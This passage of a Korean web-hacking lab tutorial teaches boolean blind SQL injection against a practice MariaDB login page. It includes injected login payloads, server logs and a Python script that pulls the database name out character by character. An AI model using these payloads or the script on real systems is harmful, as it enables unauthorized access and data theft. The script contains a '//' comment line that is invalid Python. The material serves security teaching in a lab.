+--------------------------+
1 row in set (0.00 sec)

MariaDB [user1DB]&gt; SELECT substring(&#39;admin&#39;, 5, 1);
+--------------------------+
| substring(&#39;admin&#39;, 5, 1) |
+--------------------------+
| n                        |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [user1DB]&gt; SELECT substring(&#39;admin&#39;, 6, 1);
+--------------------------+
| substring(&#39;admin&#39;, 6, 1) |
+--------------------------+
|                          |  &lt;-- 데이터가 더 이상 없기 때문에 아무것도 출력되지 않는다.
+--------------------------+
1 row in set (0.00 sec)

개수를 늘려가면서 문자열 출력을 확인한다.
MariaDB [user1DB]&gt; SELECT substring(&#39;admin&#39;, 1, 1);
+--------------------------+
| substring(&#39;admin&#39;, 1, 1) |
+--------------------------+
| a                        |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [user1DB]&gt; SELECT substring(&#39;admin&#39;, 1, 2);
+--------------------------+
| substring(&#39;admin&#39;, 1, 2) |
+--------------------------+
| ad                       |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [user1DB]&gt; SELECT substring(&#39;admin&#39;, 1, 3);
+--------------------------+
| substring(&#39;admin&#39;, 1, 3) |
+--------------------------+
| adm                      |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [user1DB]&gt; SELECT substring(&#39;admin&#39;, 1, 4);
+--------------------------+
| substring(&#39;admin&#39;, 1, 4) |
+--------------------------+
| admi                     |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [user1DB]&gt; SELECT substring(&#39;admin&#39;, 1, 5);
+--------------------------+
| substring(&#39;admin&#39;, 1, 5) |
+--------------------------+
| admin                    |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [user1DB]&gt; SELECT substring(&#39;admin&#39;, 1, 6);
+--------------------------+
| substring(&#39;admin&#39;, 1, 6) |
+--------------------------+
| admin                    |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [user1DB]&gt; SELECT substring(&#39;admin&#39;, 1, 7);
+--------------------------+
| substring(&#39;admin&#39;, 1, 7) |
+--------------------------+
| admin                    |
+--------------------------+
1 row in set (0.00 sec)

MariaDB [user1DB]&gt; SELECT substring(&#39;admin&#39;, 3, 3);
+--------------------------+
| substring(&#39;admin&#39;, 3, 3) |
+--------------------------+
| min                      |
+--------------------------+
1 row in set (0.00 sec)

아스키코드 참고
https://ko.wikipedia.org/wiki/ASCII

10진수 16진수  문자
48     30      0    
65     41      A    
97     61      a    

참고로 ls는 파일의 리스트를 얻어서 아스키코드의 순서대로 sort 해서 출력한다.
(SQLiProject) [root@webhacking ~]# mkdir test; cd test
(SQLiProject) [root@webhacking test]# touch 0.txt 1.txt a.txt A.txt

기본값: ASCII 코드 형태로 sort
(SQLiProject) [root@webhacking test]# ls -l
합계 0
-rw-r--r--. 1 root root 0  4월  7 20:31 0.txt
-rw-r--r--. 1 root root 0  4월  7 20:31 1.txt
-rw-r--r--. 1 root root 0  4월  7 20:31 A.txt
-rw-r--r--. 1 root root 0  4월  7 20:31 a.txt

-r: reverse 옵션
(SQLiProject) [root@webhacking test]# ls -lr
합계 0
-rw-r--r--. 1 root root 0  4월  7 20:31 a.txt
-rw-r--r--. 1 root root 0  4월  7 20:31 A.txt
-rw-r--r--. 1 root root 0  4월  7 20:31 1.txt
-rw-r--r--. 1 root root 0  4월  7 20:31 0.txt

-U: do not sort 옵션 (만든 순서대로)
(SQLiProject) [root@webhacking test]# ls -lU
합계 0
-rw-r--r--. 1 root root 0  4월  7 20:31 0.txt
-rw-r--r--. 1 root root 0  4월  7 20:31 1.txt
-rw-r--r--. 1 root root 0  4월  7 20:31 a.txt
-rw-r--r--. 1 root root 0  4월  7 20:31 A.txt


ascii() : 문자의 ASCII 코드값을 10진수로 반환해주는 함수
형식 :  ascii(숫자), ascii(&#39;문자&#39;)

MariaDB [user1DB]&gt; SELECT ascii(0);
+----------+
| ascii(0) |
+----------+
|       48 |
+----------+
1 row in set (0.00 sec)

MariaDB [user1DB]&gt; SELECT ascii(&#39;A&#39;);
+------------+
| ascii(&#39;A&#39;) |
+------------+
|         65 |
+------------+
1 row in set (0.00 sec)

MariaDB [user1DB]&gt; SELECT ascii(&#39;a&#39;);
+------------+
| ascii(&#39;a&#39;) |
+------------+
|         97 |
+------------+
1 row in set (0.00 sec)


MariaDB [user1DB]&gt; USE WebTest

MariaDB [WebTest]&gt; DESC member;
+----------+-------------+------+-----+---------+----------------+
| Field    | Type        | Null | Key | Default | Extra          |
+----------+-------------+------+-----+---------+----------------+
| no       | int(11)     | NO   | PRI | NULL    | auto_increment |
| u_id     | varchar(20) | NO   | UNI | NULL    |                |
| u_pass   | varchar(50) | NO   |     | NULL    |                |
| u_name   | varchar(20) | NO   |     | NULL    |                |
| nickname | char(20)    | YES  |     | NULL    |                |
| age      | int(11)     | YES  |     | NULL    |                |
| email    | char(50)    | YES  |     | NULL    |                |
| reg_date | datetime    | NO   |     | NULL    |                |
+----------+-------------+------+-----+---------+----------------+
8 rows in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT u_id FROM member;
+--------+
| u_id   |
+--------+
| admin  |
| tester |
+--------+
2 rows in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT u_id FROM member LIMIT 0,1;
+-------+
| u_id  |
+-------+
| admin |
+-------+
1 row in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT u_id FROM member LIMIT 1,1;
+--------+
| u_id   |
+--------+
| tester |
+--------+
1 row in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT u_id FROM member LIMIT 0,2;
+--------+
| u_id   |
+--------+
| admin  |
| tester |
+--------+
2 rows in set (0.00 sec)


MariaDB [WebTest]&gt; SELECT substring(&#39;tester&#39;, 1, 1);
+---------------------------+
| substring(&#39;tester&#39;, 1, 1) |
+---------------------------+
| t                         |
+---------------------------+
1 row in set (0.00 sec)

substring() 함수의 첫 번째 인수에 쿼리가 들어가는데 그냥 넣으면 에러가 발생한다.
그러므로 이 쿼리는 틀린 것이다.
MariaDB [WebTest]&gt; SELECT substring(SELECT u_id FROM member LIMIT 1,1, 1, 1);
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near &#39;SELECT u_id FROM member LIMIT 1,1, 1, 1)&#39; at line 1

substring() 함수의 첫 번째 인수에 쿼리가 문자열로 들어가면 그 문자열에서 첫 번째 한 문자는 S 이다.
그러므로 이것도 틀린 것이다.
MariaDB [WebTest]&gt; SELECT substring(&#39;SELECT u_id FROM member LIMIT 1,1&#39;, 1, 1);
+------------------------------------------------------+
| substring(&#39;SELECT u_id FROM member LIMIT 1,1&#39;, 1, 1) |
+------------------------------------------------------+
| S                                                    |
+------------------------------------------------------+
1 row in set (0.00 sec)

substring() 함수의 첫 번째 인수에 쿼리를 줄려면 괄호 안에 (쿼리)가 들어가야 한다.
그러므로 쿼리를 넣을때는 반드시 소괄호 안에 넣어야 한다.
MariaDB [WebTest]&gt; SELECT substring((SELECT u_id FROM member LIMIT 1,1), 1, 1);
+------------------------------------------------------+
| substring((SELECT u_id FROM member LIMIT 1,1), 1, 1) |
+------------------------------------------------------+
| t                                                    |
+------------------------------------------------------+
1 row in set (0.01 sec)

아래 쿼리의 결과가 SELECT substring(&#39;tester&#39;, 1, 1);이 되는 것이다.
SELECT substring((SELECT u_id FROM member LIMIT 1,1), 1, 1); == SELECT substring(&#39;tester&#39;, 1, 1); -&gt; t

member테이블에서 첫 번째 레코드에서 1개를 확인하는 쿼리
MariaDB [WebTest]&gt; SELECT u_id FROM member LIMIT 0,1;
+-------+
| u_id  |
+-------+
| admin |
+-------+
1 row in set (0.00 sec)

member테이블에서 첫 번째 레코드에서 substring()함수를 이용해서 첫 번째 글자부터 1개의 문자를 확인하는 쿼리
MariaDB [WebTest]&gt; SELECT substring((SELECT u_id FROM member LIMIT 0,1), 1, 1);
+------------------------------------------------------+
| substring((SELECT u_id FROM member LIMIT 0,1), 1, 1) |
+------------------------------------------------------+
| a                                                    |
+------------------------------------------------------+
1 row in set (0.00 sec)

member테이블에서 첫 번째 레코드에서 substring()함수를 이용해서 첫 번째 글자부터 2개의 문자를 확인하는 쿼리
MariaDB [WebTest]&gt; SELECT substring((SELECT u_id FROM member LIMIT 0,1), 1, 2);
+------------------------------------------------------+
| substring((SELECT u_id FROM member LIMIT 0,1), 1, 2) |
+------------------------------------------------------+
| ad                                                   |
+------------------------------------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT substring((SELECT u_id FROM member LIMIT 0,1), 1, 3);
+------------------------------------------------------+
| substring((SELECT u_id FROM member LIMIT 0,1), 1, 3) |
+------------------------------------------------------+
| adm                                                  |
+------------------------------------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT substring((SELECT u_id FROM member LIMIT 0,1), 1, 4);
+------------------------------------------------------+
| substring((SELECT u_id FROM member LIMIT 0,1), 1, 4) |
+------------------------------------------------------+
| admi                                                 |
+------------------------------------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT substring((SELECT u_id FROM member LIMIT 0,1), 1, 5);
+------------------------------------------------------+
| substring((SELECT u_id FROM member LIMIT 0,1), 1, 5) |
+------------------------------------------------------+
| admin                                                |
+------------------------------------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT substring((SELECT u_id FROM member LIMIT 0,1), 1, 6);
+------------------------------------------------------+
| substring((SELECT u_id FROM member LIMIT 0,1), 1, 6) |
+------------------------------------------------------+
| admin                                                |
+------------------------------------------------------+
1 row in set (0.01 sec)



MariaDB [WebTest]&gt; SELECT u_id FROM member LIMIT 1,1;
+--------+
| u_id   |
+--------+
| tester |
+--------+
1 row in set (0.00 sec)

member테이블에서 두 번째 레코드에서 substring()함수를 이용해서 세 번째 글자부터 3개의 문자를 확인하는 쿼리
MariaDB [WebTest]&gt; SELECT substring((SELECT u_id FROM member LIMIT 1,1), 3, 3);
+------------------------------------------------------+
| substring((SELECT u_id FROM member LIMIT 1,1), 3, 3) |
+------------------------------------------------------+
| ste                                                  |
+------------------------------------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT substring((SELECT u_id FROM member LIMIT 1,1), 1, 1);
+------------------------------------------------------+
| substring((SELECT u_id FROM member LIMIT 1,1), 1, 1) |
+------------------------------------------------------+
| t                                                    |
+------------------------------------------------------+
1 row in set (0.00 sec)

member테이블에서 첫 번째 레코드에서 substring()함수를 이용해서 첫 번째 글자부터 1개의 문자를 확인해서 
문자 t와 같으면 참이므로 1이 출력이 된다. 
문자 t와 다르면 거짓이므로 0이 출력이 된다. 

member테이블에서 첫 번째 레코드에서 substring()함수를 이용해서 첫 번째 글자부터 1개의 문자를 확인하는 쿼리
t와 같기 때문에 참이므로 1이 출력이 된다.
MariaDB [WebTest]&gt; SELECT substring((SELECT u_id FROM member LIMIT 1,1), 1, 1) = &#39;t&#39;;
+------------------------------------------------------------+
| substring((SELECT u_id FROM member LIMIT 1,1), 1, 1) = &#39;t&#39; |
+------------------------------------------------------------+
|                                                          1 |  &lt;-- 참이기 때문에 1이 return 된다.
+------------------------------------------------------------+
1 row in set (0.00 sec)

member테이블에서 첫 번째 레코드에서 substring()함수를 이용해서 첫 번째 글자부터 1개의 문자를 확인해서 
문자 a와 같으면 1이 출력되고 틀리면 0이 출력된다.
MariaDB [WebTest]&gt; SELECT substring((SELECT u_id FROM member LIMIT 1,1), 1, 1) = &#39;a&#39;;
+------------------------------------------------------------+
| substring((SELECT u_id FROM member LIMIT 1,1), 1, 1) = &#39;a&#39; |
+------------------------------------------------------------+
|                                                          0 | &lt;-- 거짓이기 때문에 0이 return 된다.
+------------------------------------------------------------+
1 row in set (0.00 sec)
</code></pre><pre><code>실습&gt; WebTest DB를 알기 위해서 쿼리가 몇 번 실행이 되야 하는가?

여기서 숫자는 빼고 쿼리를 실행한다고 했을 경우!</code></pre><blockquote>
<p><strong>실습&gt; 이분법을 이용한 쿼리 줄이기</strong></p>
</blockquote>
<pre><code>ascii()함수는 ascii(&#39;문자&#39;) 를 넣어주면 10진수의 아스키값이 출력된다.
MariaDB [WebTest]&gt; SELECT ascii(&#39;O&#39;);
+------------+
| ascii(&#39;O&#39;) |
+------------+
|         79 |
+------------+
1 row in set (0.00 sec)

SELECT database() -&gt; &#39;WebTest&#39; -&gt; SELECT가 화면에 WebTest를 출력한다.
MariaDB [WebTest]&gt; SELECT database();
+------------+
| database() |
+------------+
| WebTest    |
+------------+
1 row in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT substring((database()),1,1);
+-----------------------------+
| substring((database()),1,1) |
+-----------------------------+
| W                           |
+-----------------------------+
1 row in set (0.00 sec)

함수이므로 소괄호()가 들어갈 필요가 없다.
MariaDB [WebTest]&gt; SELECT substring(database(),1,1);
+---------------------------+
| substring(database(),1,1) |
+---------------------------+
| W                         |
+---------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT ascii(substring(database(),1,1));
+----------------------------------+
| ascii(substring(database(),1,1)) |
+----------------------------------+
|                               87 |
+----------------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT ascii(substring(database(),1,1)) &gt; 79;
+---------------------------------------+
| ascii(substring(database(),1,1)) &gt; 79 |
+---------------------------------------+
|                                     1 |
+---------------------------------------+
1 row in set (0.00 sec)

87: 대문자 W
79: 대문자 O
SELECT ascii(substring(database(),1,1)) &gt; 79; 쿼리는 아래 쿼리와 동일하다.
MariaDB [WebTest]&gt; SELECT 87 &gt; 79;
+---------+
| 87 &gt; 79 |
+---------+
|       1 |
+---------+
1 row in set (0.00 sec)

U를 검사한다.
MariaDB [WebTest]&gt; SELECT ascii(&#39;U&#39;);
+------------+
| ascii(&#39;U&#39;) |
+------------+
|         85 |
+------------+
1 row in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT ascii(substring((database()), 1,1)) &gt; 85;
+------------------------------------------+
| ascii(substring((database()), 1,1)) &gt; 85 |
+------------------------------------------+
|                                        1 |
+------------------------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT 87 &gt; 85;
+---------+
| 87 &gt; 85 |
+---------+
|       1 |
+---------+
1 row in set (0.00 sec)


X를 검사한다.
MariaDB [WebTest]&gt; SELECT ascii(&#39;X&#39;);
+------------+
| ascii(&#39;X&#39;) |
+------------+
|         88 |
+------------+
1 row in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT ascii(substring((database()), 1,1)) &gt; 88;
+------------------------------------------+
| ascii(substring((database()), 1,1)) &gt; 88 |
+------------------------------------------+
|                                        0 |
+------------------------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT 87 &gt; 88;
+---------+
| 87 &gt; 88 |
+---------+
|       0 |
+---------+
1 row in set (0.00 sec)


MariaDB [WebTest]&gt; SELECT ascii(substring((database()), 1,1)) &gt; ascii(&#39;X&#39;);
+--------------------------------------------------+
| ascii(substring((database()), 1,1)) &gt; ascii(&#39;X&#39;) |
+--------------------------------------------------+
|                                                0 |
+--------------------------------------------------+
1 row in set (0.00 sec)

V를 검사한다.
MariaDB [WebTest]&gt; SELECT ascii(&#39;V&#39;);
+------------+
| ascii(&#39;V&#39;) |
+------------+
|         86 |
+------------+
1 row in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT ascii(substring((database()), 1,1)) &gt; 86;
+------------------------------------------+
| ascii(substring((database()), 1,1)) &gt; 86 |
+------------------------------------------+
|                                        1 |
+------------------------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT ascii(substring((database()), 1,1)) &gt; ascii(&#39;V&#39;);
+--------------------------------------------------+
| ascii(substring((database()), 1,1)) &gt; ascii(&#39;V&#39;) |
+--------------------------------------------------+
|                                                1 |
+--------------------------------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT 87 &gt; 86;
+---------+
| 87 &gt; 86 |
+---------+
|       1 |
+---------+
1 row in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT ascii(substring((database()), 1,1)) = 87;
+------------------------------------------+
| ascii(substring((database()), 1,1)) = 87 |
+------------------------------------------+
|                                        1 |
+------------------------------------------+
1 row in set (0.00 sec)

database 명의 첫 번째 문자가 W라는 것을 확인할 수 있다.
MariaDB [WebTest]&gt; SELECT ascii(substring((database()), 1,1)) = ascii(&#39;W&#39;);
+--------------------------------------------------+
| ascii(substring((database()), 1,1)) = ascii(&#39;W&#39;) |
+--------------------------------------------------+
|                                                1 |
+--------------------------------------------------+
1 row in set (0.00 sec)

결국 23번의 쿼리가 실행되어야 W를 얻을 수 있지만 공격횟수를 줄이는 이분법을 이용하면
5번만에 W를 얻을 수 있다.

python 함수
ord(문자) : 문자에 해당하는 ASCII 숫자를 반환한다.
chr(숫자) : 숫자에 해당하는 문자가 반환된다.

&gt;&gt;&gt; ord(&#39;A&#39;)
65
&gt;&gt;&gt; chr(65)
&#39;A&#39;
&gt;&gt;&gt; chr(0x41)
&#39;A&#39;
</code></pre><blockquote>
<p><strong>실습&gt; Blind SQLi (Boolean)</strong></p>
</blockquote>
<pre><code>Burp 를 이용해서 Proxy 를 활성화한 상태에서 테스트한다.

o 로그인 실패인 경우
1. 로그 모니터링
# &gt; /var/lib/mysql/webhacking.log
# tail -f /var/lib/mysql/webhacking.log

2. 로그인
LOGIN ID: &#39; or ascii(substring(database(), 1, 1)) = 97#
PASSWORD: 12345

3. 쿼리 확인
# tail -f /var/lib/mysql/webhacking.log
230410 12:09:54   280 Connect   webadmin@localhost as anonymous on
                  280 Query     SET NAMES utf8
                  280 Init DB   WebTest
                  280 Query     select * from member where u_id=&#39;&#39; or ascii(substring(database(), 1, 1)) = 97#&#39; and u_pass=&#39;12345&#39;
                  280 Quit


4. 서버의 응답 값
로그인이 실패가 되면 아래처럼 로그인 실패 메세지가 전송된다. 
HTTP/1.1 200 OK
Date: Mon, 10 Apr 2023 03:09:54 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 129
Connection: close
Content-Type: text/html; charset=UTF-8

&lt;script&gt;
        alert(&#39;아이디 또는 패스워드가 일치하지 않습니다.&#39;);
        history.back();
      &lt;/script&gt;

5. 직접 쿼리 실행
쿼리의 결과값이 아무것도 없기 때문에 로그인에 실패된다.
MariaDB [WebTest]&gt; select * from member where u_id=&#39;&#39; or ascii(substring(database(), 1, 1)) = 97#&#39; and u_pass=&#39;1234&#39;
    -&gt; ;
Empty set (0.00 sec)  


o 로그인 성공인 경우
1. 로그 모니터링
# tail -f /var/lib/mysql/webhacking.log

2. 로그인
LOGIN ID: &#39; or ascii(substring(database(), 1, 1)) = 87#
PASSWORD: 1234

3. 쿼리 확인
# tail -f /var/lib/mysql/webhacking.log
230410 12:13:39   282 Connect   webadmin@localhost as anonymous on
                  282 Query     SET NAMES utf8
                  282 Init DB   WebTest
                  282 Query     select * from member where u_id=&#39;&#39; or ascii(substring(database(), 1, 1)) = 87#&#39; and u_pass=&#39;12345&#39;
                  282 Quit

4. 응답 값
로그인이 성공이 되면 아래처럼 로그인 성공 메세지가 전송된다. 
HTTP/1.1 200 OK
Date: Mon, 10 Apr 2023 03:13:39 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: login_access=HAHAHAHAHA; expires=Mon, 10-Apr-2023 04:13:39 GMT; path=/; httponly
Content-Length: 111
Connection: close
Content-Type: text/html; charset=UTF-8

&lt;script&gt;
        alert(&#39;로그인 되었습니다.&#39;);
        location.replace(&#39;index.php&#39;);
      &lt;/script&gt;

5. 직접 쿼리 실행
쿼리의 결과값이 출력되기 때문에 로그인에 성공된다.
결과값이 2개중에서 가장 첫 번째 결과값은 tester로 로그인된다.
MariaDB [WebTest]&gt;   select * from member where u_id=&#39;&#39; or ascii(substring(database(), 1, 1)) = 87#&#39; and u_pass=&#39;12345&#39;
    -&gt; ;
+----+--------+----------+-----------+------------------+------+-------+---------------------+
| no | u_id   | u_pass   | u_name    | nickname         | age  | email | reg_date            |
+----+--------+----------+-----------+------------------+------+-------+---------------------+
|  1 | tester | 111111   | 테스터    | 테스트계정1      |    1 | 11    | 2022-10-24 14:01:38 |
|  2 | admin  | P@ssw0rd | 관리자    | 관리자           |    0 |       | 2022-10-24 14:01:38 |
+----+--------+----------+-----------+------------------+------+-------+---------------------+
2 rows in set (0.00 sec)

쿼리의 결과를 풀어서 설명하면 아래처럼 된다.
select * from member where u_id=&#39;&#39; or ascii(substring(database(), 1, 1)) = 87#&#39; and u_pass=&#39;12345&#39;
select * from member where u_id=&#39;&#39; or ascii(substring(&#39;WebTest&#39;, 1, 1)) = 87
select * from member where u_id=&#39;&#39; or ascii(&#39;W&#39;) = 87
select * from member where u_id=&#39;&#39; or 87 = 87
select * from member where False or 87 = 87
select * from member where False or True
select * from member where True  &lt;== 결국 True가 되기 때문에 2개의 모든 자료가 출력된 것이다.
</code></pre><blockquote>
<p><strong>실습&gt; 문자열의 끝 확인하기</strong></p>
</blockquote>
<pre><code>MariaDB [WebTest]&gt; SELECT database();
+------------+
| database() |
+------------+
| WebTest    |
+------------+
1 row in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT substring(database(),1,1);
+---------------------------+
| substring(database(),1,1) |
+---------------------------+
| W                         |
+---------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT ascii(substring(database(),1,1));
+----------------------------------+
| ascii(substring(database(),1,1)) |
+----------------------------------+
|                               87 |
+----------------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT substring(database(),1,1);
MariaDB [WebTest]&gt; SELECT substring(database(),1,1);
+---------------------------+
| substring(database(),1,1) |
+---------------------------+
| W                         |
+---------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT substring(database(),2,1);
+---------------------------+
| substring(database(),2,1) |
+---------------------------+
| e                         |
+---------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT substring(database(),3,1);
+---------------------------+
| substring(database(),3,1) |
+---------------------------+
| b                         |
+---------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT substring(database(),4,1);
+---------------------------+
| substring(database(),4,1) |
+---------------------------+
| T                         |
+---------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT substring(database(),5,1);
+---------------------------+
| substring(database(),5,1) |
+---------------------------+
| e                         |
+---------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT substring(database(),6,1);
+---------------------------+
| substring(database(),6,1) |
+---------------------------+
| s                         |
+---------------------------+
1 row in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT substring(database(),7,1);
+---------------------------+
| substring(database(),7,1) |
+---------------------------+
| t                         |
+---------------------------+
1 row in set (0.00 sec)


문자열의 끝이 아니므로 ascii() 함수로 변환하면 t에 대한 값이 출력된다.
MariaDB [WebTest]&gt; SELECT ascii(substring(database(),7,1));
+----------------------------------+
| ascii(substring(database(),7,1)) |
+----------------------------------+
|                              116 |  &lt;-- t가 116이 중요한 것이 아니가 값이 있느냐(not 0) 없느냐(0)가 중요하다.
+----------------------------------+
1 row in set (0.01 sec)

문자열의 끝이므로 값이 출력이 안된다.
MariaDB [WebTest]&gt; SELECT substring(database(),8,1);
+---------------------------+
| substring(database(),8,1) |
+---------------------------+
|                           |
+---------------------------+
1 row in set (0.00 sec)

문자열의 끝을 ascii() 함수로 변환하면 값이 없기 때문에 0이 출력된다.
MariaDB [WebTest]&gt; SELECT ascii(substring(database(),8,1));
+----------------------------------+
| ascii(substring(database(),8,1)) |
+----------------------------------+
|                                0 |  &lt;-- 0이므로 끝이라는 것을 알 수 있다.
+----------------------------------+  &lt;-- 0 ASCII코드 NULL문자이다.
1 row in set (0.00 sec)
</code></pre><blockquote>
<p><strong>실습&gt; blind SQLi 공격코드 작성하기</strong></p>
</blockquote>
<pre><code>&gt;&gt;&gt; 여기서 중요하게 생각해야할 것 &lt;&lt;&lt;
1. Blind SQLi으로 하나하나 대조하므로 많은 로그가 남는다.
2. 실제 공격자가 이런식으로 공격을 하는지 생각해봐야 한다.
- 이렇게 공격하면 IDS/IPS/Firewall에서 다 막힌다.
3. 그러면 어떻게 공격을 하는가?
- 각자 생각해보고나 논문들을 검색한다.

[root@webhacking ~]# su - user1
[user1@webhacking ~]$ . SQLiProject/bin/activate
(SQLiProject) [root@webhacking ~]# vi loginAttack.py
#!/usr/bin/python2
# -*- coding:utf-8 -*-
# 파일명: loginAttack.py
# 프로그램 설명: login을 이용한 Blind SQLi
# 작성자: 리눅스마스터넷

import re, urllib, urllib2, sys

dbname=&quot;&quot;

# PHP 세션값을 저장한다.
SESSION = &quot;9nd01svrf2v1khckg29upofbh2&quot;

# ?? 를 자신의 Victim의 IP 주소로 변경한다.
url = &quot;http://192.168.20.??/login_check.php&quot;

count = 1
queryCount = 1

try:
    while True:

        # 숫자, 대문자, 소문자까지 반복한다.
        for i in range(48,123):

            // 숫자, 대문자, 소문자가 아니면 continue
            if i in (58, 59, 60, 61, 62, 63, 64, 91, 92, 93, 94, 96):
                continue
            data = &quot;user_id=&#39; or ascii(substring(database(),%d,1))=%d #&amp;user_pw=111&quot; %(count,i)
            req = urllib2.Request(url)
            req.add_header(&quot;Cookie&quot;,&quot;PHPSESSID=%s&quot; %(SESSION)) # 헤더의 쿠키값을 변경
            # POST 방식으로 전송해서 Response 의 값을 read() 로 읽어서 read 변수에 저장한다.
            read = urllib2.urlopen(req,data=data.encode()).read()

            ok = re.findall(&quot;location.replace&quot;, read)

            #print(&quot;%d : %s : %c&quot; %(i,read,chr(i)))   
            #print(ok)

            if ok :
                dbname = dbname + chr(i)
                print(&quot;Now dbname:&quot;+dbname)
                break

            data = &quot;user_id=&#39; or ascii(substring(database(),%d,1))=%d #&amp;user_pw=111&quot; %(count,0)
            req = urllib2.Request(url)
            req.add_header(&quot;Cookie&quot;,&quot;PHPSESSID=%s&quot; %(SESSION)) # 헤더의 쿠키값을 변경
            read = urllib2.urlopen(req,data=data.encode()).read()
            ok = re.findall(&quot;location.replace&quot;, read)
            if ok:
                sys.exit()

            queryCount += 1
        count += 1
except:
    print()

print(&quot;&gt;&gt;&gt; total queryCount : %d, dbname : %s &lt;&lt;&lt;&quot; %(queryCount, dbname))

터미널 2번에서 DB서버 로그를 모니터링 한다.
[root@webhacking ~]# &gt; /var/lib/mysql/webhacking.log
[root@webhacking ~]# tail -f /var/lib/mysql/webhacking.log


터미널 3번에서 웹서버 로그를 모니터링 한다.
[root@webhacking ~]# &gt; /var/log/httpd/access_log
[root@webhacking ~]# tail -f /var/log/httpd/access_log


(SQLiProject) [root@webhacking ~]# chmod 755 loginAttack.py
(SQLiProject) [root@webhacking ~]# ./loginAttack.py
Now dbname:W
Now dbname:We
Now dbname:Web
Now dbname:WebT
Now dbname:WebTe
Now dbname:WebTes
Now dbname:WebTest
()
&gt;&gt;&gt; total queryCount : 288, dbname : WebTest &lt;&lt;&lt;

남겨진 로그는 아래와 같다.
[root@webhacking ~]# tail -f /var/lib/mysql/webhacking.log
230410 12:34:55  3781 Connect   webadmin@localhost as anonymous on
                 3781 Query     SET NAMES utf8
                 3781 Init DB   WebTest
                 3781 Query     select * from member where u_id=&#39;&#39; or ascii(substring(database(),1,1))=48 #&#39; and u_pass=&#39;111&#39;
                 3781 Quit
                 3782 Connect   webadmin@localhost as anonymous on
                 3782 Query     SET NAMES utf8
                 3782 Init DB   WebTest
                 3782 Query     select * from member where u_id=&#39;&#39; or ascii(substring(database(),1,1))=0 #&#39; and u_pass=&#39;111&#39;
                     :
                     :(생략)
                 3767 Quit
                 3768 Connect   webadmin@localhost as anonymous on
                 3768 Query     SET NAMES utf8
                 3768 Init DB   WebTest
                 3768 Query     select * from member where u_id=&#39;&#39; or ascii(substring(database(),7,1))=111 #&#39; and u_pass=&#39;111&#39;
                 3768 Quit
                 3769 Connect   webadmin@localhost as anonymous on
                 3769 Query     SET NAMES utf8
                 3769 Init DB   WebTest
                 3769 Query     select * from member where u_id=&#39;&#39; or ascii(substring(database(),7,1))=0 #&#39; and u_pass=&#39;111&#39;
                 3769 Quit
                 3770 Connect   webadmin@localhost as anonymous on
                 3770 Query     SET NAMES utf8
                 3770 Init DB   WebTest
                 3770 Query     select * from member where u_id=&#39;&#39; or ascii(substring(database(),7,1))=112 #&#39; and u_pass=&#39;111&#39;
                 3770 Quit
                 3771 Connect   webadmin@localhost as anonymous on
                 3771 Query     SET NAMES utf8
                 3771 Init DB   WebTest
                 3771 Query     select * from member where u_id=&#39;&#39; or ascii(substring(database(),7,1))=0 #&#39; and u_pass=&#39;111&#39;
                     :
                     :(생략)

터미널 3번에서 웹서버 로그를 모니터링 한다.
[root@webhacking ~]# &gt; /var/log/httpd/access_log
[root@webhacking ~]# tail -f /var/log/httpd/access_log
  :
  :(생략)
192.168.20.41 - - [10/Apr/2023:12:34:58 +0900] &quot;POST /login_check.php HTTP/1.1&quot; 200 129 &quot;-&quot; &quot;Python-urllib/2.7&quot;
192.168.20.41 - - [10/Apr/2023:12:34:58 +0900] &quot;POST /login_check.php HTTP/1.1&quot; 200 129 &quot;-&quot; &quot;Python-urllib/2.7&quot;
192.168.20.41 - - [10/Apr/2023:12:34:58 +0900] &quot;POST /login_check.php HTTP/1.1&quot; 200 129 &quot;-&quot; &quot;Python-urllib/2.7&quot;
192.168.20.41 - - [10/Apr/2023:12:34:58 +0900] &quot;POST /login_check.php HTTP/1.1&quot; 200 129 &quot;-&quot; &quot;Python-urllib/2.7&quot;
